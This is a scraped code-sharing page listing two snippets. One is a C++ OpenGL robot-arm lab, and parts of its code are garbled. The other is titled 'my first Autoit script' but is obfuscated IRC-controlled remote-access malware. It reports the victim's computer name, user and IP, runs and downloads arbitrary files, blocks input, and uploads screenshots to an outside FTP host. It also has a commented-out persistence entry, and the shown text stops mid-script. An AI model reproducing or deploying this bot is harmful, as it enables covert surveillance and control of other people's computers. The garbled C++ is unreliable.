DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Newsletter
Log In / Join
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Latest Articles - DZone

article thumbnail
computer graphic
// Name : Hoang Xuan Nhat Huy // ID : 51101332 #include #include #include #include #include using namespace std; class Point3 { public: float x, y, z; void set(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} void set(Point3& p) { x = p.x; y = p.y; z = p.z;} Point3() { x = y = z = 0;} Point3(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} }; class Color3 { public: float r, g, b; void set(float red, float green, float blue) { r = red; g = green; b = blue;} void set(Color3& c) { r = c.r; g = c.g; b = c.b;} Color3() { r = g = b = 0;} Color3(float red, float green, float blue) { r = red; g = green; b = blue;} }; class Point2 { public: Point2() { x = y = 0.0f; } // constructor 1 Point2(float xx, float yy) { x = xx; y = yy; } // constructor 2 void set(float xx, float yy) { x = xx; y = yy; } float getX() { return x;} float getY() { return y;} void draw() { glBegin(GL_POINTS); glVertex2f((GLfloat)x, (GLfloat)y); glEnd(); } private: float x, y; }; class IntRect { public: IntRect() { l = 0; r = 100; b = 0; t = 100; } // constructor IntRect( int left, int right, int bottom, int top) { l = left; r = right; b = bottom; t = top; } void set( int left, int right, int bottom, int top) { l = left; r = right; b = bottom; t = top; } void draw(){ glRecti(l, b, r, t); glFlush(); } // draw this rectangle using OpenGL int getWidth(){return (r-l);} int getHeight() { return (t-b);} private: int l, r, b, t; }; class RealRect { public: RealRect() { l = 0; r = 100; b = 0; t = 100; } // constructor RealRect( float left, float right, float bottom, float top) { l = left; r = right; b = bottom; t = top; } void set( float left, float right, float bottom, float top) { l = left; r = right; b = bottom; t = top; } float getWidth(){return (r-l);} float getHeight() { return (t-b);} void RealRect::draw(){ glRectf(l, b, r, t); glFlush(); };// draw this rectangle using OpenGL private: float l, r, b, t; }; class Vector3 { public: float x, y, z; void set(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} void set(Vector3& v) { x = v.x; y = v.y; z = v.z;} void flip() { x = -x; y = -y; z = -z;} //void setDiff(Point3& a, Point3& void normalize(); Vector3() { x = y = z = 0;} Vector3(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} Vector3(Vector3& v) { x = v.x; y = v.y; z = v.z;} Vector3 cross(Vector3 b); float dot(Vector3 b); }; class VertexID { public: int vertIndex; int colorIndex; }; class Face { public: int nVerts; VertexID* vert; Face() { nVerts = 0; vert = NULL; } ~Face() { if(vert !=NULL) { delete[] vert; vert = NULL; } nVerts = 0; } }; class Mesh { public: int numVerts; Point3* pt; int numFaces; Face* face; float slideX, slideY, slideZ; float rotateX, rotateY, rotateZ; public: Mesh() { slideX = 0; slideY = 0; slideZ = 0; rotateX = 0; rotateY = 0; rotateZ = 0; numVerts = 0; pt = NULL; numFaces = 0; face = NULL; } ~Mesh() { if (pt != NULL) { delete[] pt; } if(face != NULL) { delete[] face; } numVerts = 0; numFaces = 0; } void DrawWireframe(); void DrawColor(); void CreateTetrahedron(); void CreateCube(float fSize); void CreateSphere(int nSlice, int nStack, float radius); void CreateYPlane(int nXSegment, int nZSegment, float fXWidth, float fZWidth); void CreateCuboid(float fSizeX, float fSizeY, float fSizeZ); void CreateCylinder(int nSegment, float fHeight, float fRadius); void CreateCylinderWithHole(int nSegment, float fHeight, float fORadius, float fIRadius); void CreatehaftSphere(int nSlice, int nStack, float radius); void SetColor(int colorIdx); }; #define DEG2RAD(x) (x*PI)/180.0f void myDisplay(); int screenWidth = 600; int screenHeight= 600; float fRoomSize = 15; bool bWireFrame = false; float YPlanePos = 0; float ballRadius = 0.4; float ball1SizeZ = 2; float cuboidBaseSizeXZ = 0.8; float cuboidBaseSizeY = 0.1; float cylBase1Radius = cuboidBaseSizeXZ/2 - 0.1; float cylBase1Height = 0.2; float cylBase2Radius = cylBase1Radius - 0.1; float cylBase2Height = 2.5; /////////////////////////////////////////////////// float upperArm1ORadius = cylBase1Radius; float upperArm1IRadius = cylBase2Radius; float upperArm1Height = cylBase1Height*1.5; float upperArm1Offset = 0.5; float upperArm2SizeX = upperArm1IRadius; float upperArm2SizeZ = 1.4/2; float upperArm2SizeY = upperArm1Height/2; float upperArm3Radius = upperArm2SizeX; float upperArm3Height = upperArm2SizeY*2; float upperArm4Radius = upperArm3Radius - 0.08; float upperArm4Height = upperArm3Height*2; float upperArmRotateY = 0; /////////////////////////////////////////////// float foreArm1ORadius = 0.2; float foreArm1IRadius = cylBase2Radius; float foreArm1Height = 0.5; float foreArm1Offset = 0.5; //float foreArm2SizeX = upperArm1IRadius; //float foreArm2SizeZ = 0.7; //float foreArm2SizeY = upperArm1Height; float foreArm2SizeX = 0.15; float foreArm2SizeZ = 1.4; float foreArm2SizeY = 0.5/2; float foreArm3Radius = 0.12; float foreArm3Height = 0.5; float foreArm4Radius = 0.1; float foreArm4Height = 1.6; float foreArmRotateY = 0; float handMove = 0; float handMove1 = 0; float move = 0; bool hold1 = false; bool hold2 = false; bool hold3 = false; bool hold4 = false; float ball1upper = 0; float ball1hand = 0; float ball2upper = 0; float ball2hand = 0; float ball3upper = 0; float ball3hand = 0; float ball4upper = 0; float ball4hand = 0; //Mesh for the foor Mesh planeY; Mesh planeY2; //Mesh for the ball Mesh ball1; Mesh ball2; Mesh ball3; Mesh ball4; //Mesh for the body Mesh cuboidBase; Mesh cylBase1; Mesh cylBase2; //Mesh for upper arm Mesh upperArm1; Mesh upperArm2; Mesh upperArm3; Mesh upperArm4; //Mesh for fore arm Mesh foreArm1; Mesh foreArm2; Mesh foreArm3; Mesh foreArm4; Mesh Hand; Mesh Hand1; //Camera parameters float camera_angle; float camera_height; float camera_dis; float camera_X, camera_Y, camera_Z; float lookAt_X, lookAt_Y, lookAt_Z; float camera_lookAt; bool b4View = false; #define PI 3.1415926 #define COLORNUM 14 float ColorArr[COLORNUM][3] = {{1.0, 0.0, 0.0}, {0.0, 1.0, 0.0}, { 0.0, 0.0, 1.0}, {1.0, 1.0, 0.0}, { 1.0, 0.0, 1.0},{ 0.0, 1.0, 1.0}, {0.3, 0.3, 0.3}, {0.5, 0.5, 0.5}, { 0.9, 0.9, 0.9}, {1.0, 0.5, 0.5}, { 0.5, 1.0, 0.5},{ 0.5, 0.5, 1.0}, {0.0, 0.0, 0.0}, {1.0, 1.0, 1.0}; void Mesh::SetColor(int colorIdx){ for (int f = 0; f < numFaces; f++) { for (int v = 0; v < face[f].nVerts; v++) { face[f].vert[v].colorIndex = colorIdx; } } } void Mesh::CreateCylinderWithHole(int nSegment, float fHeight, float fORadius, float fIRadius) { numVerts = nSegment * 4; pt = new Point3[numVerts]; int count = 0; for (int i = 0; i < 4; i++) { if (i == 2) fHeight *= -1; float r = (i == 0 || i == 3) ? fIRadius : fORadius; for (int j = 0; j < nSegment; j++) { float x = r * cos(2 * PI*j / nSegment); float z = r * sin(2 * PI*j / nSegment); pt[count].set(x, fHeight, z); count++; } } // ve face numFaces = nSegment * 4; face = new Face[numFaces]; count = 0; for (int i = 1; i < 5; i++) { for (int j = 0; j < nSegment; j++) { face[count].nVerts = 4; face[count].vert = new VertexID[face[count].nVerts]; face[count].vert[0].vertIndex = nSegment * (i%4) + j; face[count].vert[1].vertIndex = nSegment * (i%4) + ((j + 1) % nSegment); face[count].vert[2].vertIndex = nSegment * (i - 1) + ((j + 1) % nSegment); face[count].vert[3].vertIndex = nSegment * (i - 1) + j; count++; } } } void Mesh::CreateCylinder(int nSegment, float fHeight, float fRadius) { numVerts = 2*nSegment + 4; pt = new Point3[numVerts]; pt[0].set(0,fHeight/2,0); pt[1].set(0,-fHeight/2,0); float y=fHeight/2; for (int i = 0; i <= nSegment; i++) { float deg = 360*i/nSegment * PI / 180; float x=fRadius*sin(deg); float z=fRadius*cos(deg); pt[2+i].set(x,y,z); pt[2+i+nSegment+1].set(x,-y,z); } numFaces = 3*nSegment; face = new Face[numFaces]; for (int i = 0; i < nSegment; i++) { face[i].nVerts = 3; face[i].vert = new VertexID[face[i].nVerts]; face[i].vert[0].vertIndex = 0; face[i].vert[1].vertIndex = 2+i; face[i].vert[2].vertIndex = 2+i+1; for(int j = 0; j= 2.35) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= -3.65) { //4 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold3 == false && hold4 == false) { hold2 = true; return 2; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= -3.65) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= -3.65) { //3 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold2 == false && hold4 == false) { hold3 = true; return 3; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= -3.65) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= 2.35) { //2 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold3 == false && hold2 == false) { hold4 = true; return 4; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= 2.35) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= 2.35) { //1 if(move >= -0.11 && move <= -0.09) { if(hold2 == false && hold3 == false && hold4 == false) { hold1 = true; return 1; } } } } /* if(sin(upperArmRotateY*PI/180) >= -0.809017 && sin(upperArmRotateY*PI/180) <= 0.207912) { if(sin(handMove1*PI/180) >= -0.927184 && sin(handMove1*PI/180) <= -0.809017 && move >= -0.11 && move <= -0.09) cout<<"blabla"< -0.08) //move -= 0.05; } else if(move > -0.875) move -= 0.05; break; case 'v': case 'V': b4View = !b4View; changeCameraPos(); break; case '+': camera_dis += 0.1; changeCameraPos(); break; case '-': camera_dis -= 0.1; changeCameraPos(); break; //Code here //////////////////////////////////////////// } glutPostRedisplay(); } void drawFloor() { int SPACE = -2; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { glPushMatrix(); glTranslated(planeY.slideX + i*SPACE, planeY.slideY, planeY.slideZ + j*SPACE); if(bWireFrame){ planeY.DrawWireframe(); } else{ planeY.DrawColor(); } glPopMatrix(); glPushMatrix(); glTranslated(planeY2.slideX + i*SPACE, planeY2.slideY, planeY2.slideZ + j*SPACE); if(bWireFrame){ planeY2.DrawWireframe(); } else{ planeY2.DrawColor(); } glPopMatrix(); } } } void drawBall1() { glPushMatrix(); glRotated(ball1upper, 0, 1, 0); glTranslated(ball1.slideX, ball1.slideY, ball1.slideZ); glTranslated(-cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); glRotated(ball1hand, 0, 1, 0); glTranslated(cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); //glTranslated(0, move, 0); //glTranslated(-ball1.slideX, -ball1.slideY, -ball1.slideZ); //glRotated(ball1hand, 0, 1, 0); //glTranslated(ball1.slideX, ball1.slideY, ball1.slideZ); if(bWireFrame) ball1.DrawWireframe(); else ball1.DrawColor(); glPopMatrix(); } void drawBall2() { glPushMatrix(); glRotated(ball2upper, 0, 1, 0); glTranslated(ball2.slideX, ball2.slideY, ball2.slideZ); glTranslated(cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); glRotated(ball2hand, 0, 1, 0); glTranslated(-cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); if(bWireFrame) ball2.DrawWireframe(); else ball2.DrawColor(); glPopMatrix(); } void drawBall3() { glPushMatrix(); glRotated(ball3upper, 0, 1, 0); glTranslated(ball3.slideX, ball3.slideY, ball3.slideZ); glTranslated(cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); glRotated(ball3hand, 0, 1, 0); glTranslated(-cos(-45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); if(bWireFrame) ball3.DrawWireframe(); else ball3.DrawColor(); glPopMatrix(); } void drawBall4() { glPushMatrix(); glRotated(ball4upper, 0, 1, 0); glTranslated(ball4.slideX, ball4.slideY, ball4.slideZ); glTranslated(-cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); glRotated(ball4hand, 0, 1, 0); glTranslated(cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); if(bWireFrame) ball4.DrawWireframe(); else ball4.DrawColor(); glPopMatrix(); } void drawCuboidBase() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cuboidBase.slideY, 0); if(bWireFrame) cuboidBase.DrawWireframe(); else cuboidBase.DrawColor(); glPopMatrix(); } void drawCylBase1() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cylBase1.slideY, 0); if(bWireFrame) cylBase1.DrawWireframe(); else cylBase1.DrawColor(); glPopMatrix(); } void drawCylBase2() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cylBase2.slideY, 0); if(bWireFrame) cylBase2.DrawWireframe(); else cylBase2.DrawColor(); glPopMatrix(); } /////////////////////////////////////////////////////////////////////// void drawUpperArm1() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm1.slideY, 0); if(bWireFrame) upperArm1.DrawWireframe(); else upperArm1.DrawColor(); glPopMatrix(); } void drawUpperArm2() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm2.slideY, upperArm2.slideZ); if(bWireFrame) upperArm2.DrawWireframe(); else upperArm2.DrawColor(); glPopMatrix(); } void drawUpperArm3() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm3.slideY, upperArm3.slideZ); if(bWireFrame) upperArm3.DrawWireframe(); else upperArm3.DrawColor(); glPopMatrix(); } void drawUpperArm4() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm4.slideY, upperArm4.slideZ); if(bWireFrame) upperArm4.DrawWireframe(); else upperArm4.DrawColor(); glPopMatrix(); } /////////////////////////////////////////////////////////////////// //////////////////////////////////////////////// /////////////// THE FORE ARM /////////////////// //////////////////////////////////////////////// void drawforeArm1() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm1.slideY, foreArm1.slideZ); if(bWireFrame) foreArm1.DrawWireframe(); else foreArm1.DrawColor(); glPopMatrix(); } void drawforeArm2() { glPushMatrix(); //glTranslated(foreArm2.slideX, foreArm2.slideY - 2.5, foreArm2.slideZ); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm2.slideY, foreArm2.slideZ); glTranslated(0, -foreArm2.slideY, -(foreArm2.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm2.slideY, (foreArm2.slideZ - 1.6)); if(bWireFrame) foreArm2.DrawWireframe(); else foreArm2.DrawColor(); glPopMatrix(); } void drawforeArm3() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm3.slideY, foreArm3.slideZ); glTranslated(0, -foreArm3.slideY, -(foreArm3.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm3.slideY, (foreArm3.slideZ - 1.6)); if(bWireFrame) foreArm3.DrawWireframe(); else foreArm3.DrawColor(); glPopMatrix(); } void drawforeArm4() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm4.slideY, foreArm4.slideZ); glTranslated(0, -foreArm4.slideY, -(foreArm4.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm4.slideY, (foreArm4.slideZ - 1.6)); if(bWireFrame) foreArm4.DrawWireframe(); else foreArm4.DrawColor(); glPopMatrix(); } void drawHand() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, Hand.slideY, Hand.slideZ); glTranslated(0, -Hand.slideY, -(Hand.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, Hand.slideY, (Hand.slideZ - 1.6)); glTranslated(0, move, 0); if(bWireFrame) Hand.DrawWireframe(); else Hand.DrawColor(); glPopMatrix(); } void drawHand1() { glPushMatrix(); if(move >= -0.11 && move <= -0.09) { //cout<<<" "<< : to rotate camera counterclockwise." << endl; glutInit(&argc, argv); //initialize the tool kit glutInitDisplayMode(GLUT_DOUBLE |GLUT_RGB);//set the display mode glutInitWindowSize(screenWidth, screenHeight); //set window size glutInitWindowPosition(100, 100); // set window position on screen glutCreateWindow("Lab4"); // open the screen window /////////////////////////////////////////////////////////////// // The Floor planeY.CreateYPlane(10, 10, 1, 1); planeY.slideX = 4.5; planeY.slideY = YPlanePos; planeY.slideZ = 4.5; planeY.SetColor(15); planeY2.CreateYPlane(10, 10, 1, 1); planeY2.slideX = 3.5; planeY2.slideY = YPlanePos; planeY2.slideZ = 3.5; planeY2.SetColor(15); /////////////////////////////////////////////////////////////// // 4 balls ball1.CreateSphere(50, 20, ballRadius); ball1.slideX = 3; ball1.slideY = YPlanePos + ballRadius; ball1.slideZ = 3; ball1.SetColor(1); ball2.CreateSphere(50, 20, ballRadius); ball2.slideX = -3; ball2.slideY = YPlanePos + ballRadius; ball2.slideZ = 3; ball2.SetColor(2); ball3.CreateSphere(50, 20, ballRadius); ball3.slideX = -3; ball3.slideY = YPlanePos + ballRadius; ball3.slideZ = -3; ball3.SetColor(3); ball4.CreateSphere(50, 20, ballRadius); ball4.slideX = 3; ball4.slideY = YPlanePos + ballRadius; ball4.slideZ = -3; ball4.SetColor(4); /////////////////////////////////////////////////////////////// // The Body cuboidBase.CreateCuboid(cuboidBaseSizeXZ/2.0, cuboidBaseSizeY/2.0, cuboidBaseSizeXZ/2.0); cuboidBase.slideY = YPlanePos + cuboidBaseSizeY/2.0; cuboidBase.SetColor(0); cylBase1.CreateCylinder(20, cylBase1Height, cylBase1Radius); cylBase1.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2; cylBase1.SetColor(1); cylBase2.CreateCylinder(20, cylBase2Height, cylBase2Radius); cylBase2.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height/2 ; cylBase2.SetColor(2); /////////////////////////////////////////////////// // The Upper Arm upperArm1.CreateCylinder(20, upperArm1Height, upperArm1ORadius); upperArm1.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm1.SetColor(5); upperArm2.CreateCuboid(upperArm2SizeX, upperArm2SizeY, upperArm2SizeZ); upperArm2.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm2.slideZ = upperArm2SizeZ + upperArm1IRadius; upperArm2.SetColor(6); upperArm3.CreateCylinder(20, upperArm3Height, upperArm3Radius); upperArm3.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm3.slideZ = upperArm2.slideZ + upperArm2SizeZ ; upperArm3.SetColor(5); upperArm4.CreateCylinder(20, upperArm4Height, upperArm4Radius); upperArm4.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset + upperArm4Height/2 + upperArm3Height/2; upperArm4.slideZ = upperArm3.slideZ; upperArm4.SetColor(2); /////////////////////////////////////////////////// // The Fore Arm foreArm1.CreateCylinder(20, foreArm1Height, foreArm1ORadius); foreArm1.slideY = upperArm3.slideY + upperArm4Height/2 + upperArm1Height/4; foreArm1.slideZ = upperArm4.slideZ; foreArm1.SetColor(3); foreArm2.CreateCuboid(foreArm2SizeX, foreArm2SizeY, foreArm2SizeZ); foreArm2.slideY = foreArm1.slideY; foreArm2.slideZ = foreArm1.slideZ + foreArm1IRadius/2 + foreArm2SizeZ; foreArm2.SetColor(4); foreArm3.CreateCylinder(20, foreArm3Height, foreArm3Radius); foreArm3.slideY = foreArm2.slideY; foreArm3.slideZ = foreArm2.slideZ + foreArm2SizeZ; foreArm3.SetColor(5); foreArm4.CreateCylinder(20, foreArm4Height, foreArm4Radius); foreArm4.slideY = foreArm3.slideY + 0.2; foreArm4.slideZ = foreArm3.slideZ; foreArm4.SetColor(0); /////////////////////////////////////////////////// // The Hand Hand.CreateCylinder(20, 3.5, 0.08); Hand.slideY = foreArm4.slideY; Hand.slideZ = foreArm4.slideZ; Hand.SetColor(1); Hand1.CreateCylinder(20, 0.2, 0.4); Hand1.slideY = foreArm4.slideY - 3.5/2; Hand1.slideZ = foreArm4.slideZ; Hand1.SetColor(7); ///////////////////////////////////////////////////////// myInit(); glutKeyboardFunc(myKeyboard); glutDisplayFunc(myDisplay); glutSpecialFunc(mySpecialKeyboard); glutMainLoop(); return 0; }
June 30, 2015
by Daewoo Han
· 1,051 Views
article thumbnail
my first Autoit script
#AutoIt3Wrapper_Run_Obfuscator = y #Obfuscator_Ignore_Variables = #Obfuscator_Ignore_Funcs = #Obfuscator_On #NoTrayIcon #include #include #include #include #include #include #Include #include #include #include Global $sock, $version = 0.22 Global $server = "irc.quakenet.org" Global $port = 6667 Global $nick = "PC" & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) Global $channel = "#rock0em" ;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot") TCPStartup() $sock = _IRCConnect($server, $port, $nick) While 1 ;attach() ;find_usb() $recv = TCPRecv($sock, 8192) ;--------------------------------------------------------------------------------------- If @error Then $sock = _IRCConnect($server, $port, $nick) Else ConsoleWrite($recv) EndIf ;--------------------------------------------------------------------------------------- If $recv Then $sData = StringSplit($recv, @CRLF) For $i = 1 To $sData[0] Step 1 $sTemp = StringSplit($sData[$i], " ") If $sTemp[1] = "" Then ContinueLoop If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2]) If $sTemp[0] <= 2 Then ContinueLoop ;--------------------------------------------------------------------------------------- If StringLeft($sData[$i], 1) = ":" Then $sData[$i] = StringTrimLeft($sData[$i], 1) If $sTemp[0] >= 5 And $sTemp[3] = $nick And $sTemp[5] = $channel And StringRegExp($sData[$i], "(?i)" & StringReplace($nick, "|", "\|") & " [@%&~=] " & $channel & " :") Then $sNameList = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":")) $members = StringSplit($sNameList, " ") EndIf If $sTemp[3] = $nick And $sTemp[4] = ":End" And $sTemp[6] = "/MOTD" Then _IRCJoinChannel($sock, $channel) EndIf If $sTemp[0] >= 9 And $sTemp[4] = $nick And $sTemp[5] = ":Nickname" Then $nick &= "1" _IRCSendMessage($sock, "NICK " & $nick) EndIf If $sTemp[0] >= 3 And $sTemp[2] = "PRIVMSG" And $sTemp[3] = $channel Then $text = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":")) $snick = StringLeft($sData[$i], StringInStr($sData[$i], "!") - 1) If StringLeft($text, 1) = Chr(1) Then ; /me message $text = StringTrimLeft($text, 8) Else $result = StringInStr($snick, "postmodernism") If $result = 1 Then If StringInStr($text, "checkinfo@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $ip = _GetIP() _IRCSendMessage($sock, "Computer Name: "&@ComputerName&" - OS: "&@OSVersion&"/"&@OSServicePack&" - User: "&@UserName&" - IP: "&$ip, $channel) EndIf EndIf ElseIf StringInStr($text, "delete@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then FileDelete($command[3]) _IRCSendMessage($sock,$command[2] & "--->deleted" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "run@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then Run($command[3]) _IRCSendMessage($sock,$command[2] & "--->running" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "download@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then InetGet($command[3],$command[4]) _IRCSendMessage($sock,$command[2] & "--->downloaded" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "rundos@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then _RunDOS($command[3]) _IRCSendMessage($sock,$command[2] & "--->executed" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "msgbox@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then MsgBox(0,"",$command[3]) _IRCSendMessage($sock,$command[2] & "--->leave msg" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "processclose@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then ProcessClose($command[3]) _IRCSendMessage($sock,$command[2] & "--->closed" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "copy@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then If ($command[3] <> "") And ($command[4] <> "") Then FileCopy($command[3],$command[4]) _IRCSendMessage($sock,$command[2] & "--->completed" , $channel) EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "mousetrap@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then _MouseTrap(0,0,0,0) _IRCSendMessage($sock,$command[2] & "--->mousetrap" , $channel) EndIf ElseIf StringInStr($text, "stoptrap@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then MouseClick ("Left",0,500,400) _IRCSendMessage($sock,$command[2] & "--->stoptrap" , $channel) EndIf ElseIf StringInStr($text, "blockinput(1)@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then BlockInput(1) _IRCSendMessage($sock,$command[2] & "--->blockinput" , $channel) EndIf ElseIf StringInStr($text, "blockinput(0)@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then BlockInput(0) _IRCSendMessage($sock,$command[2] & "--->stopblock" , $channel) EndIf ElseIf StringInStr($text, "snapshot@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 5 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If ($command[2] = $nick) Then _ScreenCapture_Capture($command[5]) $Open = _FTPOpen("MyFTP Control") $Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4]) $Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6]) $Ftpc = _FTPClose($Open) _IRCSendMessage($sock,"--->uploaded", $channel) FileDelete($command[5]) EndIf EndIf EndIf ElseIf StringInStr($text, "sound@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then SoundPlay($command[3]) _IRCSendMessage($sock,$command[2] & "--->played", $channel) EndIf ElseIf StringInStr($text, "filelist@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 4 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If ($command[2] = $nick) And ($command[3] <> "") Then $avCommon = _FileListToArray($command[3]) $sFile = $command[3] & "\list.txt" _FileWriteFromArray($sFile, $avCommon, 1) For $i = $command[4] to $command[5] $read = FileReadLine($command[3] &"\list.txt",$i) If $read <> "" Then _IRCSendMessage($sock,$read, $channel) Sleep(1500) EndIf Next FileDelete($command[3] & "\list.txt") EndIf EndIf EndIf ElseIf StringInStr($text, "readline@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then $read = FileReadLine ($command[2],$command[3]) _IRCSendMessage($sock,$read, $channel) EndIf ElseIf StringInStr($text, "tringlen@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then $read = FileReadLine ($command[2],$command[3]) $len = StringLen($read) _IRCSendMessage($sock,$command[2] & "-->line " & $command[3] &" : "&$len & " characters", $channel) EndIf ElseIf StringInStr($text, "tringmid@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" And $command[3] <> "" And $command[4] <> "" And $command[5] <> "" Then $read = FileReadLine ($command[2],$command[3]) $var = StringMid($read, $command[4], $command[5]) _IRCSendMessage($sock,$var & "--->chars from position" & $command[4], $channel) EndIf ElseIf StringInStr($text, "numberofprocess@", 2) Then $t = StringReplace($text, "@", "-") 